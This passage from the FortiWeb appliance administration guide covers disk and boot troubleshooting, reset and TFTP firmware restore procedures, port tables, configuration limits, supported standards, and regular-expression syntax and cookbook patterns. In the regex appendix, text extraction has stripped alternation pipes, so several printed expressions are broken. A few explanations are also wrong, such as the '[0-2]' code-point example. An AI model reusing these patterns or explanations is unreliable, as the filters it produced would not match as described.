sda	1000204.89
sdb	1971.32

where *sda*, the larger file system, is from the hard disk used to store non-configuration/firmware data.

If that command does **not** list the data disk's file system, FortiWeb did not successfully mount it. Try to reboot and run the file system check.

If the data disk's file system **is** listed and appears to be the correct size, FortiWeb could mount it. However, there still could be other problems preventing the file system from functioning, such as being mounted in read-only mode, which would prevent new logs and other data from being recorded. To determine this, enter:

```
diagnose hardware logdisk info
```

to display the count, capacity, RAID status/level, partition numbers, and read-write/read-only mount status.

For example, on a FortiWeb-1000C with a single properly functioning data disk, this command should show:

```
disk number: 1
disk[0] size: 976.76GB
raid level: raid1
partition number: 1
mount status: read-write
```



To prevent file system corruption in the future, and to prevent possible physical damage, always make sure to shut down FortiWeb's operating system **before** disconnecting the power.

If the file system could **not** be fixed by the file system check, it may be physically damaged or components may have worn out prematurely. Most commonly, this is caused by either:

- failing to shut down FortiWeb's operating system before disconnecting the power (e.g. someone pulled the power plug while FortiWeb was running)
- logging misconfiguration (e.g. logging very frequent logs like traffic logs or debug logs for an extended period of time to the local hard drive)

For hardware replacement, contact Fortinet Customer Service:

<https://support.fortinet.com>

Power supply failure

If you have supplied power, but the power indicator LEDs are **not** lit and the hardware has not started, the power supply may have failed. Contact Fortinet Customer Service:

<https://support.fortinet.com>

After powering on, if the power indicator LEDs **are** lit but a few minutes have passed and you still cannot connect to the FortiWeb appliance through the network using CLI or the web UI, you can either:

- restore the firmware “[Restoring firmware \(“clean install”\)](#)” on page 648
(This usually solves most typically occurring issues.)



Always halt the FortiWeb OS before disconnecting the power. Power disruption while the OS is running can cause damage to the disks and/or software.

- verify that FortiWeb can successfully complete bootup

To verify bootup, connect your computer directly to FortiWeb's local console port, then on your computer, open a terminal emulator such as [PuTTY](#). Configure it to log all printable console output to a file so that you have a copy of the console's output messages in case you need to send it to [Fortinet Technical Support](#).

Once connected, power cycle the appliance and observe the FortiWeb's output to your terminal emulator. You will be looking for some specific diagnostic indicators.

1. Are there console messages but text is garbled on the screen? If yes, verify your terminal emulator's settings are correct for your hardware. Typically, however, these are baud rate 9600, data bits 8, parity none, stop bits 1.

2. Does the hardware successfully complete the hardware power on self test (POST) and BIOS memory tests?

If not, you may need to replace the hardware. For assistance, contact Fortinet Customer Service:

<https://support.fortinet.com>

3. Does the boot loader start? You should see a message such as:

```
FortiBootLoader
```

```
FortiWeb-1000C (17:52-09.08.2011)
```

```
Ver:00010018
```

```
Serial number:FV-1KC3R11700094
```

```
Total RAM: 3072MB
```

```
Boot up, boot device capacity: 1880MB.
```

```
Press any key to display configuration menu...
```

If the boot loader does not start, you may need to restore it. For assistance, contact Fortinet Technical Support:

<https://support.fortinet.com>

4. When pressing a key during the boot loader, do you see the following boot loader options?

```
[G]: Get firmware image from TFTP server.
```

```
[F]: Format boot device.
```

```
[B]: Boot with backup firmware and set as default.
```

```
[Q]: Quit menu and continue to boot with default firmware.
```

```
[H]: Display this list of options.
```

```
Enter G,F,B,Q,or H:
```

```
Please connect TFTP server to Ethernet port "1".
```

If the boot loader does not start, you may need to restore it. For assistance, contact Fortinet Technical Support:

<https://support.fortinet.com>

5. Can the boot loader read the image of the OS software in the selected boot partition (primary or backup/secondary, depending on your selection in the boot loader)? You should see a message such as the following:

```
Reading boot image 2479460 bytes.
```

```
Initializing FortiWeb...?
```

```
System is started.
```

If not, the image may be corrupted. Reboot and use the boot loader to switch to the other partition, if any (see [“Booting from the alternate partition” on page 85](#)).

If this is not possible, you can restore the firmware (see [“Restoring firmware \(“clean install”\)” on page 648](#)). If the firmware cannot be successfully restored, format the boot partition, and try again.

If you still cannot restore the firmware, there could be either a boot loader or disk issue. Contact Fortinet Technical Support:

<https://support.fortinet.com>

6. Does the login prompt appear? You should see a prompt like this:

FortiWeb login:

If not, or if the login prompt is interrupted by error messages, restore the OS software (see “[Restoring firmware \(“clean install”\)” on page 648](#)). If you recently upgraded the firmware, try downgrading by restoring the **previously** installed, last known good, version.

If restoring the firmware does not solve the problem, there could be a data or boot disk issue. Contact Fortinet Technical Support:

<https://support.fortinet.com>

If you **can** see and use the login prompt on the **local** console, but **cannot** successfully establish a session through the **network** (web UI, SSH or Telnet), first examine a backup copy of the configuration file to verify that it is not caused by a misconfiguration. The network interface and administrator accounts must be configured to allow your connection and login attempt (see “[Configuring the network settings” on page 109](#) and “[Trusted Host #1” on page 212](#)).

If the configuration appears correct, but no network connections are successful, first try restoring the firmware to rule out corrupted data that could be causing problems (see “[Restoring firmware \(“clean install”\)” on page 648](#)). You can also use this command to verify that resource exhaustion is not the problem:

```
diagnose system top delay 5
```

The process system usage statistics continues to refresh and display in the CLI until you press `q` (quit).

Resetting the configuration

If you will be selling your FortiWeb appliance, or if you are not sure what part of your configuration is causing a problem, you can reset it to its default settings and erase data. (If you have not updated the firmware, this is the same as resetting to the factory default settings.)



Back up your configuration before beginning this procedure, if possible. Resetting the configuration could include the IP addresses of network interfaces. For information on backups, see “[Backups” on page 204](#). For information on reconnecting to a FortiWeb appliance whose network interface configuration was reset, see “[Connecting to the web UI or CLI” on page 69](#).

To delete your data from the appliance, connect to the CLI and enter this command:

```
execute formatlogdisk
```

To reset the appliance’s configuration, connect to the CLI and enter this command:

```
execute factoryreset
```



Alternatively, you can reset the appliance’s configuration to its default values for a specific software version by restoring the firmware during a reboot (a “clean install”). See “[Restoring firmware \(“clean install”\)” on page 648](#).

Restoring firmware (“clean install”)

Restoring (also called re-imaging) the firmware can be useful if:

- you are unable to connect to the FortiWeb appliance using the web UI or the CLI
- you want to install firmware **without** preserving any existing configuration (i.e. a “**clean install**”)
- a firmware version that you want to install requires a different size of system partition (see the Release Notes accompanying the firmware)
- a firmware version that you want to install requires that you format the boot device (see the Release Notes accompanying the firmware)

Unlike updating firmware, restoring firmware re-images the boot device, including the signatures that were current at the time that the firmware image file was created. Also, restoring firmware can only be done during a boot interrupt, before network connectivity is available, and therefore **requires a local console connection to the CLI. It cannot be done through an SSH or Telnet connection.**



Alternatively, if you cannot physically access the appliance’s local console connection, connect the appliance’s local console port to a terminal server to which you have network access. Once you have used a client to connect to the terminal server over the network, you will be able to use the appliance’s local console through it. However, be aware that from a remote location, you may not be able to power cycle the appliance if abnormalities occur.

To restore the firmware



Back up your configuration before beginning this procedure, if possible. Restoring firmware resets the configuration, including the IP addresses of network interfaces. For information on backups, see “[Backups](#)” on page 204. For information on reconnecting to a FortiWeb appliance whose network interface configuration was reset, see “[Connecting to the web UI or CLI](#)” on page 69.

1. Download the firmware file from the Fortinet Technical Support web site:
<https://support.fortinet.com/>
2. Connect your management computer to the FortiWeb console port using a RJ-45-to-DB-9 serial cable or a null-modem cable.
3. Initiate a **local console connection** from your management computer to the CLI of the FortiWeb appliance, and log in as the `admin` administrator, or an administrator account whose access profile contains *Read* and *Write* permissions in the *Maintenance* category. For details, see “[Connecting to the web UI or CLI](#)” on page 69.
4. Connect port1 of the FortiWeb appliance directly or to the same subnet as a TFTP server.
5. Copy the new firmware image file to the root directory of the TFTP server.
6. If necessary, start your TFTP server. (If you do not have one, you can temporarily install and run one such as `tftpd` ([Windows](#), [Mac OS X](#), or [Linux](#)) on your management computer.)



Because TFTP is **not** secure, and because it does not support authentication and could allow anyone to have read and write access, you should **only** run it on trusted administrator-only networks, **never** on computers directly connected to the Internet. If possible, immediately turn off `tftpd` off when you are done.

7. Verify that the TFTP server is currently running, and that the FortiWeb appliance can reach the TFTP server.

To use the FortiWeb CLI to verify connectivity, enter the following command:

```
execute ping 192.168.1.168
```

where 192.168.1.168 is the IP address of the TFTP server.

8. Enter the following command to restart the FortiWeb appliance:

```
execute reboot
```

9. As the FortiWeb appliances starts, a series of system startup messages appear.

Press any key to display configuration menu.....

10. Immediately press a key to interrupt the system startup.



You have only 3 seconds to press a key. If you do not press a key soon enough, the FortiWeb appliance reboots and you must log in and repeat the `execute reboot` command.

If you successfully interrupt the startup process, the following messages appears:

```
[G]: Get firmware image from TFTP server.
[F]: Format boot device.
[B]: Boot with backup firmware and set as default.
[Q]: Quit menu and continue to boot with default firmware.
[H]: Display this list of options.
```

Enter G,F,B,Q,or H:

Please connect TFTP server to Ethernet port "1".

11. If the firmware version requires that you first format the boot device before installing firmware, type F. Format the boot disk before continuing.

12. Type G to get the firmware image from the TFTP server.

The following message appears:

```
Enter TFTP server address [192.168.1.168]:
```

13. Type the IP address of the TFTP server and press Enter.

The following message appears:

```
Enter local address [192.168.1.188]:
```

14. Type a temporary IP address that can be used by the FortiWeb appliance to connect to the TFTP server.

The following message appears:

```
Enter firmware image file name [image.out]:
```

15.Type the file name of the firmware image and press Enter.

The FortiWeb appliance downloads the firmware image file from the TFTP server and displays a message similar to the following:

```
MAC:00219B8F0D94
#####
Total 28385179 bytes data downloaded.
Verifying the integrity of the firmware image..
Save as Default firmware/Backup firmware/Run image without
saving:[D/B/R]?
```



If the download fails after the integrity check with the error message:

```
invalid compressed format (err=1)
```

but the firmware matches the integrity checksum on the Fortinet Technical Support web site, try a different TFTP server.

16.Type D.

The FortiWeb appliance downloads the firmware image file from the TFTP server. The FortiWeb appliance installs the firmware and restarts. The time required varies by the size of the file and the speed of your network connection.

The FortiWeb appliance reverts the configuration to default values for that version of the firmware.

17.To verify that the firmware was successfully installed, log in to the CLI and type:

```
get system status
```

The firmware version number is displayed.

18.Either reconfigure the FortiWeb appliance or restore the configuration file. For details, see [“How to set up your FortiWeb” on page 59](#) and [“Restoring a previous configuration” on page 208](#).



If you are **downgrading** the firmware to a previous version, and the settings are not fully backwards compatible, the FortiWeb appliance may either remove incompatible settings, or use the feature’s default values for that version of the firmware. You may need to reconfigure some settings.

19.Update the attack definitions.



Installing firmware replaces the current attack definitions with those included with the firmware release that you are installing. After you install the new firmware, make sure that your attack definitions are up-to-date. For more information, see [“Uploading signature & geography-to-IP updates” on page 144](#).

Appendix A: Port numbers

Communications between the FortiWeb appliance, clients, protected web servers, and FortiGuard Distribution Network (FDN) require that any routers and firewalls between them permit specific protocols and port numbers.

The following tables list the default port assignments used by FortiWeb.

Table 58: Default ports used by FortiWeb for outgoing traffic

Port number	Protocol	Purpose
N/A	ARP	HA failover of network interfaces. See “HA heartbeat & synchronization” on page 39 .
N/A	ICMP	- Server health checks. See “Configuring server up/down checks” on page 244. - execute ping and execute traceroute. See the FortiWeb CLI Reference.
21	TCP	- Anti-defacement backup and restoration (FTP). See “Anti-defacement” on page 485. - FTP configuration backup. See “To back up the configuration via the web UI to an FTP/SFTP server” on page 206.
22	TCP	- Anti-defacement backup and restoration (SSH/SCP). See “Anti-defacement” on page 485. - SFTP configuration backup. See “To back up the configuration via the web UI to an FTP/SFTP server” on page 206.
25	TCP	SMTP for alert email. See “Configuring email settings” on page 563 .
53	UDP	DNS queries. See “Configuring DNS settings” on page 128 .
69	UDP	TFTP for backups, restoration, and firmware updates. See commands such as execute backup or execute restore in the FortiWeb CLI Reference .
80	TCP	Server health checks. See “Configuring server up/down checks” on page 244 .
123	UDP	NTP synchronization. See “Setting the system time & date” on page 89 .
137, 138, 139	UDP	Anti-defacement backup and restoration (Windows-style share). See “Anti-defacement” on page 485 .
162	UDP	SNMP traps. See “SNMP traps & queries” on page 567 .
389	TCP	LDAP authentication queries. See “Configuring LDAP queries” on page 224 .

Table 58: Default ports used by FortiWeb for outgoing traffic

Port number	Protocol	Purpose
443	TCP	- FortiGuard service polling and update downloads. See “Connecting to FortiGuard services” on page 132. - Server health checks. See “Configuring server up/down checks” on page 244.
445	TCP	- NTLM authentication queries. See “Configuring NTLM queries” on page 230. - Anti-defacement backup and restoration (Windows-style share). See “Anti-defacement” on page 485.
514	UDP	Syslog. See “Configuring logging” on page 532.
636	TCP	LDAPS authentication queries. See “Configuring LDAP queries” on page 224.
1812	UDP	RADIUS authentication queries. See “Configuring RADIUS queries” on page 228.
6055	UDP	HA heartbeat. Layer 2 multicast. See “HA heartbeat & synchronization” on page 39.
6056	UDP	HA configuration synchronization. Layer 2 multicast. See “HA heartbeat & synchronization” on page 39.
8333	TCP	Configuration replication. See “Replicating the configuration without FortiWeb HA (external HA)” on page 105.

Table 59: Default ports used by FortiWeb for incoming traffic (listening)

Port number	Protocol	Purpose
N/A	ICMP	<code>ping</code> and <code>traceroute</code> responses. See “Configuring the network interfaces” on page 111.
22	TCP	SSH administrative CLI access. See “Configuring the network interfaces” on page 111.
23	TCP	Telnet administrative CLI access. See “Configuring the network interfaces” on page 111.
80	TCP	- HTTP administrative web UI access. See “Configuring the network interfaces” on page 111 and “How to use the web UI” on page 44. - Predefined HTTP service. Only occurs if the service is used by a policy. See “Predefined services” on page 265.
161	UDP	SNMP queries. See “Configuring an SNMP community” on page 568 and “Configuring the network interfaces” on page 111.

Table 59: Default ports used by FortiWeb for incoming traffic (listening)

Port number	Protocol	Purpose
443	TCP	• HTTPS administrative web UI access. Only occurs if the destination address is a network interface's IP address. See “Configuring the network interfaces” on page 111 and “How to use the web UI” on page 44. • Predefined HTTPS service. Only occurs if the service is used by a policy, and if the destination address is a virtual server or bridged connection. See “Predefined services” on page 265.
8333	TCP	Configuration replication. See “Replicating the configuration without FortiWeb HA (external HA)” on page 105 .
6055	UDP	HA heartbeat. Layer 2 multicast. See “HA heartbeat & synchronization” on page 39 .
6056	UDP	HA configuration synchronization. Layer 2 multicast. See “HA heartbeat & synchronization” on page 39 .

Appendix B: Maximum configuration values

This table shows the maximum number of configuration objects or limits that vary by them, and are not a guarantee of performance. For values such as hardware specifications that do not vary by software version or configuration, see your model's QuickStart Guide.

Table 60: Maximum configuration objects (physical appliances)

	FortiWeb model				
	FortiWeb 400B/C	FortiWeb 1000B	FortiWeb 1000C	FortiWeb 3000C/D/DFsx	FortiWeb 4000C/D
Persistent server sessions per appliance See also the Persistent Server Sessions setting.	20 000	40 000	60 000	100 000	150 000
Persistent server sessions per policy* See also the Persistent Server Sessions setting.	8 000	15 000	20 000	50 000	100 000
Policies per appliance*	10	40	60	100	256
HTTP transactions per second	10 000	22 000	27 000	40 000	70 000
Physical interfaces + VLAN subinterfaces	32				
Servers per server farm	20				
Protected/allowed host names groups	255 (64 host names per group for a total of 16,320 host names)				

* You **cannot** simultaneously maximize both the number of allowed policies and the number of persistent server sessions per policy. The maximum number of persistent server sessions per policy is limited by the appliance's RAM. "[Persistent server sessions per appliance](#)" indicates the overall limit.

For example, the FortiWeb-400B allows up to 20 server policies and up to 8,000 persistent server sessions per policy. That does **not** mean you can have a total of 160,000 (resulting from 8,000 x 20) persistent server sessions running at one time. The upper limit is 20,000. Instead, an individual policy may have as many as 8,000 persistent server sessions, as long as the other policies have fewer, so that they do not altogether exceed the upper limit of 20,000.

Maximum values on FortiWeb-VM

FortiWeb-VM has 4 virtual network interfaces (vNICs, or virtual ports).

The maximum number of server policies **initially** varies by the maximum amount of virtual memory (vRAM) available to FortiWeb-VM in VMware, up to a hard limit. FortiWeb-VM will allow up to 20 policies for the first 1 GB of vRAM, then an additional 15 policies per additional 1 GB of vRAM, up to a maximum of 150 server policies.

In other words, at first, the server policy limit increases linearly with vRAM. But after 7 GB of vRAM, further increasing the vRAM no longer has an affect. 8 GB or more vRAM allows up to 150 server policies. (Keep in mind that increasing the vRAM may still benefit performance.)

The maximum number of sessions with the back-end web servers varies by the maximum number of vCPUs allowed by your FortiWeb-VM license.

To see the maximum allowed sessions for your FortiWeb-VM installation

1. Go to *Policy > Server Policy > Server Policy*.
2. Either click *Create New* or edit an existing policy.
3. Look at the minimum-maximum range indicator next to the *Persistent Server Sessions* option. That number tells you the maximum server sessions for your installation.

	FortiWeb-VM license/model		
	VM02	VM04	VM08
Maximum persistent server sessions per VM	20 000	50 000	100 000
Maximum persistent server sessions per policy	8 000	15 000	50 000

Appendix C: Supported RFCs, W3C, & IEEE standards

This release of FortiWeb supports the following IETF RFCs, W3C standards, and IEEE standards.

RFCs

- **RFC 792**
[ICMP](#) — see [reference 1](#), [reference 2](#)
- **RFC 1213**
[Management Information Base for Network Management of TCP/IP-based internets: MIB-II](#) — see [reference 1](#)
- **RFC 2548**
[Microsoft Vendor-specific RADIUS Attributes](#) — see [reference 1](#)
- **RFC 2616**
[Hypertext Transfer Protocol -- HTTP/1.1](#) — see [reference 1](#), [reference 2](#)
- **RFC 2617**
[HTTP Authentication: Basic and Digest Access Authentication](#) — see [reference 1](#)
- **RFC 2665**
[Definitions of Managed Objects for the Ethernet-like Interface Types](#) — see [reference 1](#)
- **RFC 2965**
[HTTP State Management Mechanism \(HTTP sessions\)](#) — see [reference 1](#), [reference 2](#)
- **RFC 4918**
[HTTP Extensions for Distributed Authoring and Versioning \(WebDAV\)](#) — see [reference 1](#), [reference 2](#)
- **RFC 5280**
[Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List \(CRL\) Profile](#) — see [reference 1](#), [reference 2](#)
- **RFC 6176**
[Prohibiting Secure Sockets Layer \(SSL\) Version 2.0](#) — By default, for reverse proxy mode, this is supported. To enable violation of the RFC, see `weak_enc` and `ssl-md5` settings in the `config system global` command in the [FortiWeb CLI Reference](#).

W3C standards

Extensible markup language (XML) 1.0 (Third Edition)

- XML Current Status:
http://www.w3.org/standards/techs/xml#w3c_all
- W3C Recommendation 04 February 2004:
<http://www.w3.org/TR/2004/REC-xml-20040204>
see [reference 1](#), [reference 2](#)

IEEE standards

- **Spanning tree protocol** [IEEE 802.1d](#)
see [reference 1](#)
- **Virtual LANs** [IEEE 802.1q](#)
see [reference 1](#)

Appendix D: Regular expressions

Most FortiWeb features support regular expressions. Regular expressions are a powerful way of denoting all possible forms of a string. They are very useful when trying to match text that comes in many variations but follows a definite pattern, such as dynamic URLs or web page content.

Regular expressions can involve very computationally intensive evaluations. For best performance, you should only use regular expressions where necessary, and build them with care. For information on optimization, see [“Regular expression performance tips” on page 600](#).

See also

- [Regular expression syntax](#)
- [What are back-references?](#)
- [Cookbook regular expressions](#)
- [Language support](#)

Regular expression syntax

Accurate regular expression syntax is vital for detecting different forms of the same attack, for rewriting all but only the intended URLs, and for allowing normal traffic to pass (see [“Reducing false positives” on page 609](#)). When configuring [Expression](#) or similar settings, always use the >> (test) button to:

- Validate your expression’s syntax.
- Look for unintended matches.
- Verify intended matches.

Will your expression match? Will it match more than once? Where will it match? Generally, unless the feature is specifically designed to look for all instances, FortiWeb will evaluate only a specific location for a match, and it will start from that location’s beginning. (In English, this is the leftmost, topmost point in the string.) FortiWeb will take only the first match, unless you have defined a number of repetitions.

FortiWeb follows **most** [Perl-compatible regular expression \(PCRE\)](#) syntax. [Table 61 on page 659](#) shows syntax and popular grammar examples. You can find additional examples with each feature, such as [“Example: Sanitizing poisoned HTML” on page 370](#).



Inverse string matching is not currently supported.

For example, to match all strings that do **not** contain `hamsters`, you cannot use:

```
!(hamsters)
```

You can, however, use inverse matching for specific character classes, such as:

```
[^A]
```

to match any string that contains any characters that are **not** the letter A.

Table 61: Popular FortiWeb regular expression syntax

Anything except <code>*. ^\$?+\()\{\}\[\]</code>	Literal match, except if the character is part of a: - capture group - back-reference (e.g. \$0 or \1) - other regular expression token (e.g. \w)	Text: My cat catches things. Regular expression: cat Matches: cat Depending on whether the feature looks for all instances, it may also match “cat” in the beginning of “catches”.
\	Escape character. If it is followed by: - An alphanumeric character, the alphanumeric character is not matched literally as usual. Instead, it is interpreted as a regular expression token. For example, \w matches a word, as defined by the locale. - Any regular expression special character: <code>*. ^\$?+\()\{\}\[\]</code> this escapes interpretation as a regular expression token, and instead treats it as a normal letter. For example, \\ matches: <code>\</code>	Text: /url?parameter=value Regular expression: \?param Matches: ?param
(?i)	Turns on case-insensitive matching for subsequent evaluation, until it is turned off or the evaluation completes.	Text: /url?Parameter=value Regular expression: (?i)param Matches: Param Would also match pArAM etc.
\n	Matches a new line (also called a line feed). Microsoft Windows platforms typically use \r\n at the end of each line. Linux and Unix platforms typically use \n. Mac OS X typically uses \r	Text: My cat catches things. Regular expression: \n Matches: The end of the text on Linux and other Unix-like platforms, only part of the line ending on Windows, and nothing on Mac OS X.
\r	Matches a carriage return.	Text: My cat catches things. Regular expression: \r Matches: Part of the line ending on Windows, nothing on Linux/Unix, and the whole line ending on Mac OS X.

Table 61: Popular FortiWeb regular expression syntax

\s	Matches a space, non-breaking space, tab, line ending, or other white space character. Tip: Many languages do not separate words with white space. Even in languages that usually use a white space separator, words can be separated with many other characters such as: \ / - " ' " " \ . , > < - : ; and new lines. In these cases, you should usually include those in addition to \s in a match set ([]) or may need to use \b (word boundary) instead.	Text: Regular expression: www\.example\.com\s Matches: Nothing. Due to the final ' which is a word boundary but not a white space, this does not match. The regular expression should be: www.example.com\b
\S	Matches a character that is not white space, such as A or 9.	Text: My cat catches things. Regular expression: \S Matches: Mycatcatchesthings.
\d	Matches a decimal digit such as 9.	Text: /url?parameterA=value1 Regular expression: \d Matches: 1
\D	Matches a character that is not a digit, such as A or b or É.	
\w	Matches a whole word. Words are substrings of any uninterrupted combination of one or more characters from this set: [a-zA-Z0-9_] between two word boundaries (space, new line, :, etc.). It does not match Unicode characters that are equivalent, such as 三 , ?? or 光 .	Text: Yahoo! Regular expression: \w Matches: Yahoo Does not match the terminal exclamation point, which is a word boundary.
\W	Matches anything that is not a word.	Text: Sell?!?~ Regular expression: \W Matches: ?!?~
.	Matches any single character except \r or \n. Note: If the character is written by combining two Unicode code points, such as à where the core letter is encoded separately from the accent mark, this will not match the entire character: it will only match one of the code points.	Text: My cat catches things. Regular expression: c.t Matches: cat cat

Table 61: Popular FortiWeb regular expression syntax

+	Repeatedly matches the previous character or capture group, 1 or more times, as many times as possible (also called “greedy” matching) unless followed by a question mark (?), which makes it optional. Does not match if there is not at least 1 instance.	Text: www.example.com Regular expression: w+ Matches: www Would also match “w”, “ww”, “www”, or any number of uninterrupted repetitions of the character “w”.
*	Repeatedly matches the previous character or capture group, 0 or more times. Depending on its combination with other special characters, this token could be either: * — Match as many times as possible (also called “greedy” matching). *? — Match as few times as possible (also called “lazy” matching).	Text: www.example.com Regular expression: .* Matches: www.example.com All of any text, except line endings (\r and \n).
		Text: www.example.com Regular expression: (w)*? Matches: www Would also match common typos where the “w” was repeated too few or too many times, such as “ww” in w.example.com or “www” in www.example.com. It would still match, however, if no amount of “w” existed.
? except when followed by =	Makes the preceding character or capture group optional (also called “lazy” matching).	Text: www.example.com Regular expression: (www\.)?example.com Matches: www.example.com Would also match example.com.
?=	Looks ahead to see if the next character or capture group matches and evaluate the match based upon them, but does not include those next characters in the returned match string (if any). This can be useful for back-references where you do not want to include permutations of the final few characters, such as matching “cat” when it is part of “cats” but not when it is part of “catch”.	Text: /url?parameter=value&pack Regular expression: p(?=arameter) Matches: p, but only in “parameter, not in “pack”, which does not end with “arameter”.

Table 61: Popular FortiWeb regular expression syntax

()	Creates a capture group or sub-pattern for back-reference or to denote order of operations. See also “Example: Inserting & deleting body text” on page 372 and “What are back-references?” on page 663 .	Text: /url/app/app/mapp Regular expression: (/app)* Matches: /app/app
		Text: /url?paramA=valueA&paramB=valueB Regular expression: (param)A=(value)A&\0B\1B Matches: paramA=valueA&paramB=valueB
	Matches either the character/capture group before or after the pipe ().	Text: Host: www.example.com Regular expression: (r\n)\n\r Matches: The line ending, regardless of platform.
^	Matches either: - the position of the beginning of a line (or, in multiline mode, the first line), not the first character itself - the inverse of a character, but only if ^ is the first character in a character class, such as [^A] This is useful if you want to match a word, but only when it occurs at the start of the line, or when you want to match anything that is not a specific character.	Text: /url?parameter=value Regular expression: ^/url Matches: /url, but only if it is at the beginning of the path string. It will not match “/url” in subdirectories.
		Text: /url?parameter=value Regular expression: [^u] Matches: /rl?parameter=vale
\$	Matches the position of the end of a line (or, in multiline mode, the entire string), not the last character itself.	
[]	Defines a set of characters or capture groups that are acceptable matches. To define a set via a whole range instead of listing every possible match, separate the first and last character in the range with a hyphen. Note: Character ranges are matched according to their numerical code point in the encoding. For example, [0-2] matches any UTF-8 code points from 40 to 42 inclusive: @AB	Text: /url?parameter=value1 Regular expression: [012] Matches: 1 Would also match 0 or 2.
		Text: /url?parameter=valueB Regular expression: [A-C] Matches: B Would also match “A” or “C”. It would not match “b”.

Table 61: Popular FortiWeb regular expression syntax

{}	Quantifies the number of times the previous character or capture group may be repeated continuously. To define a varying number repetitions, delimit it with a comma.	Text: 1234567890 Regular expression: \d{3} Matches: 123
		Text: www.example.com Regular expression: w{1,4} Matches: www If the string were a typo such as “ww ” or “www”, it would also match that.

See also

- [What are back-references?](#)
- [Cookbook regular expressions](#)
- [Language support](#)
- [Rewriting & redirecting](#)
- [Defining custom data leak & attack signatures](#)
- [Configuring URL interpreters](#)
- [Configuring custom suspicious request URLs](#)

What are back-references?

A back-reference is a regular expression token such as \$0 or \$1 that refers to whatever part of the text was matched by the capture group in that position within the regular expression.

Back-references are used whenever you want the output/interpretation to resemble the original match: they insert a substring of the original matching text. Like other regular expression features, back-references help to ensure that you do not have to maintain a large, cumbersome

list of all possible URL or HTML permutations and their variations or translations when using features such as custom attack signatures, rewriting, or auto-learning.

URL in client's request: `/exchange/jane.doe/memo.EML`

Edit URL Replacer

Name: exchange1

Type: ☐ Predefined ☒ Custom-Defined

Application Type: JSP

URL Path: `(/exchange/)([^/]+)/(.*)`

New URL: `$0$2`

Param Change: `$1`

New Param: username1

OK Cancel

URL as interpreted by auto-learning: `/exchange/memo.EML?username1=jane.doe`

To invoke a substring, use `$n` ($0 \leq n \leq 9$), where *n* is the order of appearance of capture group in the regular expression, from left to right, from outside to inside, then from top to bottom.

For example, regular expressions in a condition table in this order:

`(a)(b)(c(d))(e)`

would result in back-reference variables (e.g. `$0`) with the following values:

- `$0` — a
- `$1` — b
- `$2` — cd
- `$3` — d
- `$4` — e



Numbering of back-references to capture groups starts from 0: to refer to the first substring, use `$0` or `/0`, **not** `$1` or `/1`.

Should you use `$0` or `/0` to refer back to a substring? Something else? That depends.

- `/0` — An earlier part in the **current** string, such as when you have a URL that repeats: `(/ (^/ ) *) /0 /0 /0 /0`
- `$0` — A part of the **previous** match string, such as when using part of the originally matched domain name to rewrite the new domain name: `$0 \.example \.co \.jp` where `$0` contains `www`, `ftp`, or whichever prefix matched the first capture group in the match test regular expression, `(^.) * \.example \.com`
- `$+` — The highest-numbered capture group of the previous match string: if the capture groups were numbered 0-9, this would be equivalent to `/9`.
- `$&` — The entire match string.

- Cookbook regular expressions
- Regular expression syntax

Cookbook regular expressions

Some elements occur often in FortiWeb regular expressions, such as expressions to match domain names, URLs, parameters, and HTML tags. You can use these as building blocks for your own regular expressions.



For more expressions to match items such as SQL queries and URIs, see your FortiWeb's list of predefined data types.

Line endings	(\r\n)\n\r
(platform-independent)	
Any alphanumeric character	[a-zA-Z0-9]
(ASCII only; e.g. does not match é or É)	
Specific domain name	(?)\bwww\.example\.com\b
(e.g. www.example.com; case insensitive)	
Any domain name	(?)\b.*.(a(c(d e(ro)?f(g i m n o q r s(ia)?t(y w x z) b(a(b d e f g h i(z)?j(m n o r s t v w y z) c(a(t)?c(d f g h i k m n o (m)?(o p)?r s u v x y z) d(e i k m o z) e(c d u e g h r s t u)f(i j k m o r) g(a b d e f g h i l m n ov p q r s t u w y) h(k m n r t u) i(d e m n(f)o)?(t)? o q r s t) j(e m o(bs)?p) k(e g h i m n p r w y z)) (a b c i k r s t u vy) m(a c d e g h i l k m n o(bi)?p q r s t u(seum)? v w x y z) n(a(me)?c e(t)?f g i l o p r u z) o(m rg) p(a e f g h k m n r(o)?s t w y) qa r(e o s u w) s(a b c d e g h i j k m n o r s t u v y z) t(c d e f g h i j k m n o p r(ave l)?t v w z) u(a g k s y z) v(a c e g i n u) w(f s) xxx y(e t u) z(a m w)))\b
Any domain name	(?)\b.*.(té \b 中国 中國 日本 新加坡 תאילנד 台灣 الجزائر বাংলা مصر عجم 香港 भारत بھارت ಭಾರತ இந்தியா ভারত ایران کافغانستان المغرب عمان امریکا پاکستان قطر فلسطين سوريا كندا السعودية 한국 إسرائيل إمارات 台湾 اليمن)\b
(valid internationalized TLDs in UTF-8 only; does not match ASCII-encoded DNS forms such as xn--fiqs8s)	
Any sub-domain name	(?)\b(.*)\.example\.com\b
Specific IPv4 address	\b10\.[1..1]\b
Any IPv4 address	\b(25[0-5] 2[0-4][0-9] [01]?[0-9][0-9]?)\.(25[0-5] 2[0-4][0-9] [01]?[0-9][0-9]?)\.(25[0-5] 2[0-4][0-9] [01]?[0-9][0-9]?)\.(25[0-5] 2[0-4][0-9] [01]?[0-9][0-9]?)\b

Specific HTML tag (well-formed HTML only, e.g. or ; does not match the element's contents between a tag pair; does not match the closing tag)	(?i)<\s*TAG\s*[^\>]*>
Specific HTML tag pair and contained text/tags, if any (well-formed HTML only; expression does not validate by DTD/Schema)	(?i)<\s*(TAG)\s*[^\>]*>[^\<]*</1>
Any HTML tag pair and contained text/tags, if any (well-formed HTML only; expression does not validate by DTD/Schema)	(?i)<\s*([A-Z][A-Z0-9]*)\b[^\>]*>(.*?)</1>
Any HTML comment	(?:< <!--[\s\S]*?--[\t\n\r]*(?:> >))
Any HTML entity (well-formed entities only; expression does not validate by DTD/Schema)	&(?!)(#((x([\dA-F]){1,5}) (104857[0-5] 10485[0-6]\d 1048[0-4]\d\d 104[0-7]\d{3} 10[0-3]\d{4} 0?\d{1,6})) ([A-Za-z\d.]{2,31}));
JavaScript UI events (onClick(), onMouseOver(), etc.)	(?i):on(blur c(hange lick) dblclick focus keypress (key mouse)(down up) (un)?load mouse(move o(ut ver))) reset s(elect ubmit))
All parameters that follow a question mark or hash mark in the URL (e.g. #pageView or ?param1=valueA&param2=valueB...; back-reference to this match does not include the question/hash mark itself)	[#\?](.*)

See also

- [What are back-references?](#)
- [Regular expression syntax](#)

Language support

Regardless of the display language (see [“Global web UI & CLI settings” on page 50](#)), it is simplest to **enter** only US-ASCII characters when configuring FortiWeb. However, in some cases, you may want to type other characters.

